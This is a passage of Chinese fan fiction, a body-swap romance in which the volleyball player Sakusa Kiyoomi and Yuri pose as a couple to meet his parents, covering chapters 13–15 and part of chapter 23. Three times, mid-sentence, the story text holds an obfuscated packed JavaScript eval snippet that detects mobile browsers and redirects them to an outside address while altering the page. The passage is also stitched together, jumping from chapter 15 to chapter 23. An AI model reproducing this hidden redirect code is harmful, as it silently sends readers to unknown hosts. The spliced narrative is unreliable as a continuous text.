“嗯,抱歉。明明是我麻烦你卷进这件事,我却不能和你一起。”佐久早说,“但是我和元也说过了,他也会去,比赛结束之后我也会尽快去找你们的。” “臣臣只要安心比赛就好了,只是见一面而已又不会怎么样!” 佐久早看她还算放松,以为没什么事,便继续提出他的计划:“为了提前演练一下,我能不能今天就过来睡?” 躺在床上,佐久早才发现,同床共枕时身边的人翻来覆去是一件如此容易就能感受到的事情。 他问:“睡不着吗?” 由里答:“有点。” 佐久早从床上坐起来:“果然我还是……” “不用,不是因为我们睡在一起,”由里想伸手拉他一下,但觉得有点不妥又收回手,她犹豫了一下,老老实实说出实情,“我就是没有什么跟长辈相处的经验,怕给你丢脸。” 佐久早迷惑:“你为什么会给我丢脸?” “如果他们知道你找了一个不讨人喜欢的恋人,不是会觉得你的品位很差吗?” “他们怎么看我都无所谓,反正我已经四年都……”佐久早说着说着突然停下了。 由里有点疑惑地看向他,但是想起在黑暗里他看不到自己的眼神,于是轻轻问:“什么?” 佐久早咳了一声:“没什么,我只是需要你在那里就可以了,不需要你讨他们喜欢。” 由里的直觉告诉她他未说尽的部分也许是不太开心的过往,所以没有追问下去。 而佐久早又继续说道:“还有,这也是我那天就想说的,我之前说你是不可控的因素所以才要留在身边,那是不客观的说法。” “怎么会突然说起这个啊?我没有真的在意啦。” “我的意思是,如果一定要有个人和我互换身体的话,我觉得那个人是你也不算什么坏事……不如说幸好是你。” “嗯……谢谢?” “我是说,你没有不讨人喜欢。” 由里的颤动和憋笑的气音被躺在她身边的佐久早感受得一清二楚。 佐久早翻过身面朝着她:“你笑什么?” 由里也翻过身来,和他在黑暗中相对让她终于忍不住笑出了声:“臣臣怎么说一句话要绕这么多弯啊?” “我哪有?” 她还在笑个不停:“你不就是想说你还挺喜欢我的吗?” 佐久早冷淡地沉默了一会 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古森进入观众席的时候,有靠近他这边过道位的观众认出了他,人群里掀起一小片惊呼。 他站在两个区域的中间一边签名一边和大家聊了半天,有他的球迷把自己随身带着的柴犬挂件送给他了,他又拿着拍了好几张照片才和他们道别。 最后他才春风满面地来到由里旁边坐下:“又见面啦,远藤小姐!” “古森选手真是超人气选手啊!虽然不在主场但大家都那么喜欢你。” “有圣臣这样的同辈在身边,很难不付出最大限度的努力去练习嘛,久而久之就会被看到了。”古森一边说着超级可靠的话,一边看向球场上空正在循环播放的球员镜头集锦,“对了,圣臣跟我说了舅母和舅舅会过来的事情,他真的很在意你啊。” 由里只是浅浅地笑了一下:“只是因为他的妈妈爸爸知道了我在这里,才一定要来见一面,他拗不过就答应了。” 古森奇怪地看了看由里:“他是这么跟你说的吗?” 难道这个也不能说?她小心地发问:“有什么问题吗?” 古森发出了无奈的叹息:“唉……远藤小姐,和他在一起真是辛苦你了。” “哎?” 古森一脸严肃地展开:“圣臣大学刚毕业就搬过来了,他已经在这里住了四年了,但是舅母和舅舅一次都没进过他家的门。” 由里不由得愣了一下:“为什么?他们关系不好吗?” “也不是,他们是那种……对于圣臣来说太过热情和强势的人。喔!而且他们也很喜欢大扫除,还一定要连圣臣的房间一起打扫,圣臣不喜欢别人碰他的东西,所以会再大扫除,把他的东西恢复原位……” 由里有些难以想象:“那这样生活在一起也太累了吧……” 古森猛点头并发出强烈肯定:“对,圣臣就是这么说的,所以他有了自己的房子之后就不让他们过来了。舅母舅舅来看比赛的时候他都是订酒店给他们住的。” “那这次?” “他为了你们这次见面都能允许他们住进来,肯定是非常重视你的。居然说什么是被迫的……” “到了年纪被催婚这样的事情可能也确实很麻烦?”由里试探性地替他找理由。 古森同情地看着由里,心想由里因为圣臣太冷淡都对他们的感情没有信心了,他一定要替不会表达的圣臣扳回一城。 他说:“没人能逼圣臣做他不想做的事,他只是不太会把感情说出口,但我相信他肯定……” 话说一半,古森的视线被远处吸引过去:“啊……他们来了。” 13.第 13 章 由里还没来得及弄明白佐久早到底为什么突然放弃抵抗几年都没进过自己家门的父母的造访,就不得不立刻起身面对他们了。 她顺着古森的视线看去,但通道里并不像她想象中那样只有一对夫妻。 古森朝他们招招手,随后小声对由里说:“最前面的就是舅母和舅舅,后面几位是舅母和舅舅的保镖、生活助理和业务助理,还有一位我不认识的可能是大阪分部的司机。” 看到由里惊愕的神情,他十分体贴地补充:“他们二位都是集团总裁,所以身边带的人可能多了点。别紧张,只要不谈生意大家都很好说话的。” 佐久早已经告诉过由里,家里的哥哥和姐姐真希都和他有一定的年龄差距,因此也不难理解他的父母生下他时就不算年轻了。 已经奋斗半生的人能有充足的财富积累也是可以理解的,但是…… 这是不是太夸张了?他也没说他双亲都是总裁啊? 要是一会谈崩了,他们给她两千万日元让她离开他们的儿子,她能接受吗? 可是如果她接受并离开了,身体互换后要怎么换回来,佐久早的职业生涯又该怎么办呢? 还是得好好干啊。她不由得做了个深呼吸。 佐久早的父母也都很高,在人群中很是显眼。 走在最前面的是佐久早的母亲,她先是跟古森打了招呼:“元也,好久不见!你好像长高了啊。” 古森笑着摸了摸自己头顶的头发:“我都二十六岁的人了哪里还会长个子啊?看来今天发型吹得很成功喔。” 佐久早的母亲笑盈盈的,视线很快转移到由里身上:“你就是圣臣的女朋友吧?” “是的,初次见面,我是远藤由里。”由里有点紧张,她觉得自己的声音听起来像在播报广播。 希望他们别发现她的不自然。 佐久早的母亲似乎并不怎么在意:“快坐下吧。我是惠子,圣臣的妈妈,这个叫做‘隆一’的老爷爷就是圣臣的爸爸啦。” 由里便向隆一也微微倾身打了招呼。 后者也朝她点点头,随后插嘴道:“惠子,你还记得我们是同岁吗?” 惠子拖长声音:“喔唷……要不你问我由里和元也他们看得出来我们两个是同岁吗?” 古森很快接过话头:“两位都很年轻呢,舅母当然是格外年轻。” 惠子对这个回答看来是十分满意,很快继续说下去:“本来想早点和由里见面的,但是老头子非说没在这片水域钓过鱼,一大早跑过来就去钓鱼了,你说在同一个地方待着不动一整天有什么意思?我还是喜欢徒步。由里呢?有什么喜欢做的事情吗?” 回想起古森描述中的佐久早的父母,由里觉得惠子的“热情和强势”果然是名不虚传,她完全插不上话,只等到她抛出问题才愣了愣交出答案:“我喜欢画画。” “原来由里喜欢艺术,”惠子的脸上看不出对这件事的喜恶,只是继续追问了一句,“油画还是日本画?” “漫画。” “有意思。”她的语气平平,听起来像是觉得没什么意思,但由里已经看出来了,她收集到自己需要的信息就会继续发问,一点时间也不浪费,“我们还是来聊聊你跟圣臣是怎么认识的吧,这小子什么都不跟我们说。” 实际上,由里和佐久早花了一点时间提前串供。 佐久早看着她整理出来的“可能会被问到的问题”列表:“所以通常情况下两个人交往是通过什么渠道认识的呢?” “同学?同校?”由里思索着,“不过臣臣大学只上了三年就毕业了吧,如果被问到年龄就会被发现我们刚好没法当同学。” 佐久早斜睨了她一眼:“原来你比我小这么多。” 由里侧了下头看向他:“也没有吧,三岁……不到四岁的样子。” 佐久早瘪了瘪嘴:“你根本不好好说敬语。” 由里从善如流:“小臣前辈——” 佐久早却置之不理:“还有其他的渠道吗?” “联谊酒会?” “我不会去联谊,而且我们都不喝酒,这个也不行。” “因为工作的交集认识?” 佐久早蹙眉:“你知道排球的规则吗?” “我也是看过比赛的人啊!不过如果连工作都要重新编的话确实太容易露馅了。” “的确。” “那就还是那个吧,像臣臣对牛岛选手说的那样,”由里说,“我们是邻居。” “只能是这样了,那么就说我们是年初前成为邻居,最近住到一起的。” 由里点点头:“不过这样也有一个问题,今年年初我还没毕业,一般来说一个学生还不足以负担得起这种户型这种位置的房子。他们对房价和收入这些数字敏感吗?” 佐久早顿了顿:“恐怕非常敏感。” 现在由里明白为什么他会这么说了,所幸她编了一些勉强过得去的说辞,走一步看一步吧。 惠子问:“由里大学还没毕业的时候就一个人购置房产了?” 由里回答:“不是的,我是借住在亲戚家的。” “那现在他们也在这边吗?” “他们现在搬到关东那边去住了。” “那还真是不巧,其实我们也很期待有机会能和你的家人见面的。” 很显然由里之前并不是他们的邻居,古森大概也知道她在扯谎。 毕竟佐久早一向都不希望被家人干涉过多,要由里说点糊弄他们的假话他也不意外。 于是他试图适时地插嘴帮忙作证:“远藤小姐一家确实都是很善良的邻居。” 惠子看着他眯了眯眼:“元也,看来圣臣真的是派你来打圆场的啊。没想到他长着一张断情绝爱的脸,但谈了恋爱保护欲还挺强的。” 古森开始打哈哈:“怎么会?我碰巧有空才来看的啦,我好歹也是现役国手,多多观察不同选手的打法是非常有必要的,所以……” 惠子并不吃他这套,只是笑了笑就轻轻带过:“别紧张,我不是来跟你讲究门当户对的,但凡你出身于有名有姓的家族我们也不至于一点都没听说过你。” 隆一也跟着附和:“对,别紧张,圣臣一向都是拒人于千里之外的,我们就是想看看能住进他家里的人到底是什么样。” 说到这里,双方球员开始上场了。 佐久早看向家属的观众席位,找到了他的双亲、表兄弟和冒牌女友。 惠子和隆一朝他招手,他叹了口气,转过身去。 隆一说:“你看,他平时就是这样。” 比赛很顺利地结束了。 佐久早开了车,叫由里坐他的车回去。 古森本来想给他们制造二人世界,声称要去惠子和隆一的车上给他们带路,但也被佐久早塞进了副驾。 古森一边系安全带一边说:“多亏了远藤小姐,要不然圣臣都不让我坐他的车的。” 汽车才刚启动,还没有开出停车位,由里先是对古森的话笑了笑,随后发现佐久早正在从后视镜里看着她。 她有点担心:“怎么了?” 佐久早说:“没事。” 古森说:“他想问问你怎么样,他们刁难你没有。” 佐久早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601613|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“你很吵。” 两辆车在差不多的时间出发,自然也在差不多的时间到达。 停好车,隆一一脸神秘地从后备箱搬出他的劳动成果:“这是我今天钓到的鱼,可以留着按由里的喜好来做。” 其实因为佐久早对厨房用品的卫生要求太严格了,由里到现在唯一使用过的炊具是微波炉。 当然,事到如今只要配合一下就好,于是她道谢并试图接过装着泡沫箱的袋子。 但是佐久早在她之前把袋子抢了过去:“家里不用由里做饭,别使唤她。” “没有到‘使唤’那么严重。”由里小声说,但她想要把袋子接过来的时候佐久早把袋子换到另一只手去了。 “好吧,好吧,你们有自己的分工,只要你们都舒服就好。” 那简直是太舒服了。 佐久早不愿意让别人打扫他的房子,所以公共区域的卫生他直接就不让由里负责。由里住进来之后也就打扫打扫主卧,要不是因为她大部分时候都待在里面,她觉得佐久早肯定很希望连主卧都由自己包揽。 只要由里足够小心谨慎地生活,不要破坏佐久早的劳动成果,她就可以每天在一个比医院病房还干净的房子里醒来。 而且,佐久早为了她的身体能变得健康一点,不要让他在她身体里的时候过得不舒服,把她的早饭也管了。 所以她神清气爽醒来之后,还能吃一顿大厨臣臣特制健康早餐。 她对此都有点不好意思了,但是她想去洗碗的时候佐久早会赶她走。 她能做的只有倒垃圾,还有在佐久早认真生活的时候帮他拍几张照片发社交媒体。 至于佐久早是不是舒服,她也拿不准。 由里看了看佐久早,试图得到答案。他说:“当然了,她不会以打扫卫生为理由把我明天要穿的衣服扔进垃圾桶。” 好消息,他并没觉得自己过得不好。坏消息,原来以前有这种事,他们不会吵起来吧? 惠子摇摇手指:“你的衣服全都是黑糊糊的一片,我那是为了帮助你重建服装体系。” 佐久早没生气,也许因为他已经习惯了,而且早就搬走了,于是他只是淡淡地说:“不需要。” 惠子和隆一似乎真的就只是来看看热闹,回到家也没再拉着他们多问什么,只是验证了他们两个睡在一个房间里之后感慨了一番,之后就各自洗洗睡了。 躺到床上,由里的脑子才终于有时间去思考之前的疑惑。 古森描述中的佐久早和家人的关系似乎是实情。 如果和他们见面本来是可以拒绝的事,为什么一向讨厌麻烦的佐久早要答应呢? 他甚至还拉上她这个“不可控因素”来帮忙。这有点不像是他小心谨慎的风格。 但佐久早的声音打断了她的沉思:“由里。” 她正平躺着,于是只是侧过头去看他:“嗯?” 佐久早也在平躺着,没在看她,只是问:“为什么化妆了?” 她不自觉地用手摸了摸脸颊:“我用卸妆水卸了两遍呢,现在已经很干净了,绝对没有弄到枕头上。” “我知道你不会……不是那个问题,为什么要特意打扮啊?” “毕竟是以臣臣的女朋友的身份初次见面,我想把能做的事情都做好一点……”由里压低声音,“该不会他们不喜欢爱打扮的女生?” “不是,而且我都说了你不需要讨他们喜欢。” “那……”由里有些不解。 佐久早沉默了一会,由里几乎要以为他睡着了,但是他没有:“我只是在想,他们都比我先看到。” 14.第 14 章 由里在黑暗中睁大了眼。 这是什么意思? 他希望他能比别人都先看到吗? 跟单恋对象躺在一起实在太危险了,随随便便一句话就让人心跳过速。 由里只好告诉自己,佐久早习惯了离群索居的生活方式,可能他说的话不能用通常的社交规范来理解。 大概只是单纯没见过自己化妆打扮觉得很新鲜吧。 “呃……臣臣很好奇吗?我以为没什么特别的,所以没有特意告诉你,早知道就和你说一声了。” 把人心弦拨乱的罪魁祸首佐久早圣臣倒是云淡风轻:“喔。” 过了一会他补充道:“不是责怪你的意思。” “我知道,”由里说,“我明天再化一次。” 佐久早也转过头来看着她:“不要随便答应别人做麻烦的事。” 由里便整个人翻过身来向他保证:“不麻烦的。” “可你平时都不化,那不就说明还是有点麻烦的吗?” 她平躺回去想了一会:“那就……下次有机会再化——不是还有真希姐的展会吗?那时候我会化的。” “嗯。” 经历了这样的一天,他们都困了,说话的声音越来越小,然后渐渐消失于沉寂之中。 惠子和隆一两个人都是闲不住的,说是还有公司事务,第二天早早地就要出发了。 临行前,隆一用托付的语气对由里说:“我这个小儿子总是一脸不高兴的样子,还得拜托你多照顾他了。” 由里连忙摇头:“怎么会?他很细心也很温柔,该说是他在照顾我才对。” 惠子拍了拍她的肩膀:“我现在明白为什么你们两个能在一起了,这个世界上恐怕只有你会用这两个词形容圣臣。” 佐久早毫不留情地出言逐客:“你们怎么还不走?” 惠子对着由里指了指她的小儿子:“看到没?” 送别了双亲,佐久早瞥了还把礼貌的微笑挂在脸上的由里一眼:“他们知道我是什么样的人,你不用帮我表演到这种地步。” 由里却说:“这不是表演,我真的是这么想的啊。” 佐久早一脸严肃地修正道:“我并不是温柔的人。” “好吧,臣臣收留我让我白吃白喝大半个月还带我公费出差都是不小心的,以后一定要小心一点喔。” 佐久早沉默了一会,露出“你这个人真是无药可救”的表情:“我也走了。” 虽然佐久早的父母早就走远了,由里还是不自觉地压低了声音:“等一下!这周我会慢慢把东西搬到新家,不会一直堆在臣臣这里的。” “回来再说吧。”佐久早答,看起来并不怎么在意她说的话。 晚上,由里正待在房间里,听到外面传来了开门的声音。 她想去欢迎一下佐久早,但是突然想起以前没有什么共同目标要应对的时候,两个人就只是相安无事地待在自己的房间里而已。 现在没有什么立场出去跟他搭话了,她还有点不适应。 像昨天那样,睡在一张床上,明明心跳非常快,但是为了不吵到对方动也不敢动一下的时间更是再也不会有了吧。 怅然之际,她的屋门被敲响了。 她刚刚还在想着的佐久早现在就站在门口,他今天刚结束了比赛和采访,或许是出于疲惫,他的眉眼看起来比平时柔和许多。 他垂首看着她:“由里,我现在能跟你说一件事吗?” 由里看得出了神,直到他疑惑地歪了歪脑袋才反应过来:“当然,怎么了?” 他指了指客卧:“我的房间里有蟑螂。” 这是一句超出由里理解范围的话。 在佐久早这样精美且一尘不染的公寓里能有蟑螂就够令人震惊的了。 而佐久早大晚上敲响自己的门只是为了通知自己就更奇怪了。 那么他说这句话是为了什么呢? 由里打量了一下佐久早疲倦中略显苍白的脸色,这才反应过来。 这对痛恨除了自己以外的任何携带细菌的生物的佐久早来说,的确太有冲击力了。 现在不是欣赏美颜的时候,她小心地询问:“要我帮你……处理掉它吗?” 佐久早露出喝到过期牛奶一般的痛苦表情:“呃……不,我想到我们互换身体之后你的手处理过蟑螂的话会有点……心理障碍。” “这样啊……那我们换一下房间呢?”由里提议道,“我没那么怕虫子,不用担心我。” 说完,由里几乎觉得佐久早看起来有点委屈了。 他说:“可是等明天醒来的时候我就又会出现在那边了。” “对喔……”她想了想确实如此,于是换了个角度,“那臣臣睡在这里,我去睡沙发好啦,稍等一下我把东西搬到客厅里就……” 由里转过身想要回屋抱走她的被子,但佐久早轻轻拉住了她的袖口:“别走。” 佐久早虽然脸上还是那副波澜不惊的样子,但手里却小心翼翼的捻着她的衣服。 他继续说:“我一个人害怕。” 一个人一生真的很难欣赏到这样的景色。由里忍不住深吸了一口气。 她用颇有几分安抚意味的语气提问:“那你想再一起睡一天吗?” 说到这里,她不由得有些不好意思,这话说得分明就不是毫无私心,谁能拒绝让此时此刻像一块面包一样松软的佐久早待在自己身边呢?可她却打着帮助佐久早的旗号说了出来。 佐久早一点都没有介意,反而一副安心下来的样子:“可以吗?” 她更加不好意思了,但看起来佐久早也是真的需要这样的解决方法,于是她马上答应下来:“没问题。” 以防万一显得她太想跟佐久早共处一室使他感到不舒服,由里特意加了一句:“之前两天我们不也都睡在一起吗?” 如果是为了共同的目标,就没什么好奇怪的,对吧? 他短促地“嗯”了一声,简直像是听到了由里的心声。 但佐久早看了看由里的脸,又问:“害怕蟑螂很奇怪吗?” “不奇怪呀,每个人都有害怕的东西。” “那你为什么在笑?” “我……笑了吗?”由里自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655935|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己都没意识到,听到这话赶紧捂住了嘴。 佐久早撇了撇嘴:“连眼睛都在笑着呢。” 由里听到此话发现自己确实眼睛弯弯,终于忍不住笑出声来:“因为臣臣平时这么厉害,但是也有这样的时候,我觉得很……” 佐久早用威胁的眼神看了看她。 “很可爱。”她说。 他最后只是认命地叹了口气:“你用来形容我的词库越来越奇怪了。” 佐久早今天早上送走他的家人就出发去训练了。客卧的被单还是他实在等不了,拜托由里帮他塞进洗衣机里洗干净的。 由里这会才想起来其他的东西还尚未复原,他的洗漱用品还都放在主卧的卫生间里,这时倒是方便了。 这几天由里为了每天早上起来互换身体的时候不会起不来,干脆把倒时差贯彻到底,现在已经可以和他一样早睡早起了,所以就算同住也不至于互相影响。 但是准备躺到床上的时候,两个人还是都迟疑了。 前两天他们睡在一张床上的时候,佐久早都提前准备出了自己的被子,所以两个人分别睡在不同的被子里。 可是今天,佐久早父母的被子被拿去清洗了,佐久早的被子被他搬回了客卧,他不肯回去拿,也不肯让由里回去拿。 “你介意吗?”由里指了指床上自己睡过的被子。 “好像是我更应该问你介意吗。”佐久早说,“你知道我们之前约好的那个每天拒绝不想做的事的约定还是成立的吧。” “没关系啊,臣臣非常爱干净,没有什么我可以挑剔的地方。但是臣臣的卫生标准不是很高吗?所以当然是要先问你了。” “但是除了卫生,和刚认识不久的人睡在一起这件事,你就没什么顾虑的地方吗?”佐久早举了个例子,“比如……如果是元也找你帮忙,你也会答应吗?” 由里想都没想就实话实说:“那我当然是到隔壁找臣臣帮忙啊,两个人住得这么近,臣臣也不会不管他的吧。” 哎呀。 听起来这是现在最合情合理的解决办法,但是谁也没有纳入考虑。 两人各怀鬼胎地伫立在床前,不知道该不该上这张床。 最后由里飞速地说了一句:“臣臣打了两天比赛很累了吧我们快睡觉吧!” 佐久早掀开了被子,她也跟着钻进去了。 她躺在床上,但是没有什么睡意,反倒觉得天花板非常晃眼睛。 佐久早对卧室遮光的要求也是很高的,平时她从来都不会有这种躺下之后还觉得窗帘漏光的感觉。 可能人太紧张了就容易眼前发白吧。 短暂的沉默过后,佐久早从床上起来了。 由里犹豫着,不知道该不该询问他发生了什么事。 好奇怪啊,平时关了灯之后看他也不像今天这么清楚的,但是今天看起来却格外清晰。 佐久早走到门口,按动了一个开关。 原来他们刚才都忘记关卧室的顶灯了。 “睡吧。”他说。 然后他躺回到了她身边,像一个散发着微弱温度的暖炉。 15.第 15 章 比完赛之后佐久早可以休息一上午,而由里今天要去投稿过的出版社和新的编辑详谈,所以早早出去了。 想起昨晚的事情,她还觉得像一场梦。 虽然起初两人都有点难以入眠,但佐久早大概是连续比赛了两天真的太累了,过了一会就还是睡着了。 她侧过脸看着佐久早的背影,有着稳定的锻炼习惯的人就算是彻底放松状态的背影看起来也非常坚实有力。此时佐久早正平稳地呼吸着,她可以看到他每一个轻微的起伏。 于是她渐渐也有了睡意,她轻轻翻身,也同样背对着对方,小心地没有占据太多的被子,然后这样入睡。 对啊,本来明明是这样来着。 但是再次醒来的时候她就和自己的身体面对面地躺着了。 她的呼吸和她自己身体的呼吸交错着,她的脸颊上能感觉得一清二楚。 她的心脏狂跳起来。 一大早就发现自己和佐久早的距离如此贴近实在是太过惊人了。 由里用最轻的动作从被子里钻了出去。 她仅剩的念头就是得快点洗漱一下把身体换回来,不然要是用佐久早的身体晕倒了就完了。 总之这样的距离实在是太亲近了。由里决定打开手机看点别的东西清理一下装满佐久早圣臣的大脑。 然后收到了小雪发来的消息。 【小雪:由里酱,你准备哪天搬剩下的东西过来啊?如果你选在周末的话我还能帮忙收拾一下,这几天工作实在是太忙了呜呜。】 由里发送了一个“摸摸”的表情。 【由里:辛苦你啦……】 【由里:我现在还不太确定什么时候能搬走,臣臣现在有点需要帮助的情况。】 【小雪:“臣臣”。】 【小雪:不是,等一下,你们还好吗?】 【由里:没事没事,不是那么严重的事情。】 【由里:就是……我感觉他有点需要我陪他处理一下房间里的卫生事件。】 【小雪:之前你把东西搬过去不也是因为他有事需要你在吗?】 【由里:已经解决了,这是另一件事。】 【小雪:喔,我明白了。】 【由里:什么?】 【小雪:佐久早选手独居多久了呢?】 【由里:似乎有四年了吧?】 【小雪:这么多年过去了,真的有他自己处理不了的事情吗?】 【小雪:怎么偏偏你要搬走了,他就有不得不要你一起处理的事情了呢?】 由里回想了一下他遇到蟑螂时候苍白的脸。 【由里:我觉得可能是真的突发情况呢……】 【小雪:虽然我不知道具体是什么……】 【小雪:但是,谁不想和自己女朋友天天待在一起呢,恋爱中的人有点小心思太正常了。看在他这么努力留下你的份上,你要不就别搬走了。】 【由里:可是我们不是那种关系。】 【小雪:?】 【小雪:你们闹矛盾了吗?】 【由里:不是……】 她解释不清互换身体这样荒诞的事情,最后只好找了最近刚好用得上的那个理由。 【由里:其实他是因为家里催婚催太紧找我假装女友的。】 【小雪:哎哎哎哎?????】 【小雪:可是你们不是亲过了吗????】 【由里:那次其实是因为你出来打招呼的时候我不小心摔倒了……】 【小雪:天啊……对不起……】 【由里:没关系……】 【小雪:所以现在的情况是,你们不是情侣,但是他想让你留下。】 小雪发了一个窃笑的表情。 【小雪:看来他被由里酱的魅力折服了,假戏真做你知道吗?假戏真做!】 【小雪:好了好了老板来了,我得去忙了。】 【小雪:合租的事情我们可以慢慢找转租!】 【小雪:你只需要想清楚你愿不愿意和他待在一起就行了。】 “假戏真做”这样戏剧化的事情真的会发生在她身上吗?由里默默划了几下屏幕看着聊天记录出了神。 佐久早说他今天会请人来处理客卧的“重大紧急情况”。 所以今天晚上想必不再会像之前一样了。 如果今天什么都没发生的话,之前的事情可能就真的只是碰巧吧。 由里忙完回到家,家里没有人,佐久早应该已经去训练了。 但是晚上,她的房门又被敲响了。 一番对话后她十分惊讶地总结出了佐久早的大意:“你的意思是,为了清理房间你把客卧的家具全都搬空了,但是订购的新家具还得等一等才能到货?” 她想像之前一样假装若无其事,但是小雪的话就像一颗种子种在了她的心里。因为佐久早不同以往的行为,这颗种子也在渐渐生根发芽。 她终于问出了那个她本以为不可能被提及的问题:“臣臣,你是不是只是不想让我走啊?” 佐久早愣住了。 一分钟后,他们像刚认识不久时那样在客厅的沙发上正襟危坐。 佐久早说:“你讨厌这样吗?如果你真的很想搬走的话我也不会说什么的。你说得对,你的新家确实离我不远,所以就算你搬走也不会给我造成不好的影响,不需要顾虑我。” “怎么会讨厌呢?”由里赶紧摇摇头,“住在这里很舒服,臣臣对我也很好,而且可以经常和你见面也……非常开心。” 听到这些,他看起来很不解:“那为什么一直都想要搬走呢?” 由里说:“我只是担心你不像我一样觉得开心。你本来就更喜欢一个人住吧,而且你帮了我这么多,我好像没有什么能做的,连房租都没有交过。” 佐久早自顾自地提取了她所说的信息:“你的意思是,只要我收你房租你就愿意留下了?” 由里本来正在喝水缓解紧张,听到这里呛了一下:“我现在可能付不起那么多。” 佐久早说:“如果你给之前的房东多少就给我多少呢?” 由里的嘴合不拢的时间已经超过一个成年人应有的限度了,她愣了一会才轻轻“哎”了一声。 佐久早问:“还是太贵吗?” 她想摆摆手,但忘了水杯还在自己手里,于是赶紧组织语言来弥补:“不是不是,这样真的够了吗?” 佐久早轻轻叹息一声,把她手里的水杯接过来放到桌上:“话都说到这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673670|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度了,你还没明白吗?” 他继续道:“不是这样才够,早就够了,你在这里就够了。” 由里有点庆幸佐久早把她手里的杯子拿走了,不然它一定会掉到地上四分五裂的。 事已至此,她不能再逃避他的眼睛。 它们总是这样平静无波又让人心颤吗? “很冷吗?”佐久早突然问。 她意识到这是因为她的身体正因为强烈的情感而战栗着:“不是,是因为……” “最近确实降温了,我们的体质不一样,我应该注意到的。”他站起身,想要去打开暖风。 “真的不用。”由里想要拉住他的衣服,但是因为他站起来得太快,她拉住了他的手。 她刚才沸腾着的血液瞬间凝固了。但佐久早没有立刻甩开她,只是静静任由她拉着。 看到他的反应,由里稍微没那么紧张了,解释道:“你看,我的手比你的手还热呢。” “还真的是。”佐久早说。 由里想要松开,但是他回握住了她的手。 佐久早坐回她的身边,沙发随着他的动作轻轻朝他那边陷下去一点。 就这样安静地待了一会,她像是想到什么一样:“臣臣居然为了让我留下说了这么多谎话啊。” 佐久早看起来倒是非常坦然:“我没有说谎,我说的话都是真的。” 好一段似曾相识的对话……由里只好抛出心中疑惑已久的问题:“又是这样?可是古森君说臣臣的妈妈爸爸从来都没有到家里住过。” 他点点头:“这是真的。但是我妈妈他们也真的说了想来见你的,只不过一开始我拒绝了。” “那后来为什么……” “后来我就同意他们来了。” 谁能相信佐久早圣臣同意四年没有踏进过他的家门的家人过来的原因只是因为他想骗由里多留一个周末啊! 由里顿时笑倒在沙发的扶手上。 “有那么好笑吗?”佐久早扭过头不再看她了,但是他没有松开手,“其实我哥哥也想来,但我没让他来。他是财团现在的掌权人,确实很忙,所以我也没花太多时间在拒绝他上。” “对喔,”她有些好奇,“臣臣家里有三个孩子来着,只有哥哥还没有见过面了。他是什么样的人啊?” 佐久早这才放开手,他打开手机相册翻找了一会,给她看了他们的家庭合照。 刚才被他牵过的手指尖还暖暖的,让她有点舍不得就这样松开。 由里凑过去看他的照片。很显然,在其乐融融的一家人里,只有佐久早圣臣本人是被迫拍摄的。 她隔空轻轻戳了戳照片里的佐久早的脸:“臣臣的表情好可爱。” 佐久早把图片放大,直到他自己的脸消失在这张照片上,随后指了指照片中唯一的由里不认识的那个人:“要看的不是他吗?” 由里看了看,感觉佐久早和他哥哥长得不太像,还是和姐姐更像一点。主要是这两位实在是绝世美人,相比之下哥哥虽然也很干净体面,但是就是一位通常的精英的模样。 当然,由里还是礼貌地说:“很帅呢。” 佐久早却猛地熄灭了屏幕:“他比真希年纪还大,已经结婚了,孩子都上国中了。” 23-30 第23章 因为我不想成为像你一样的作者。 佐久早今天实在太引人注目了,幸好这家店的人并不算很多,不然他说不定很快就会淹没在人海里。 店员和店长先小声地交头接耳了一番,然后在他们两位还没到桌子上坐下的时候就拦住佐久早问了能不能合影。 佐久早看了由里一眼,她先是愣了一下,接着才明白他在询问自己的意见,毕竟此时此刻他是作为她搬来的救兵出现的,他们的一切行动都和彼此相关。 由里很快点点头。 她们先互相帮对方拍了一张,但拍立得冲洗出来的效果并不太清楚,满脸可惜地请求再追加一张。 由里问:“要不要帮忙?” 佐久早附和道:“她拍得好。” 佐久早好像还没这麽直白地夸过她呢。虽然为了待会的会面有点紧张,但是听到这样的话由里忍不住笑了一下。 店长和店员对视一眼,就像遇到救星一样立刻把相机交给了由里。 照片拍好了。由里站在旁边等待着佐久早在冲洗出来的拍立得相纸上面签名,看到自己的母亲千洋正在跟和她同行的男人谈论着什麽,他们看起来也认出佐久早了。 臣臣真的是大明星啊。她再次在内心感叹道。 他签好了名,转过身来。这个动作有点突然,以至于他们差点撞到对方。 佐久早伸出手在她腰间轻轻环了一下,他只有掌根碰到她,确保她没事后就很快收回手:“走吧。” 由里不由得回想起他说的“这是今日限定的服务”——如果这全是演的,那佐久早在演技方面也是十分了不起的程度了。 他们在千洋对面坐下。 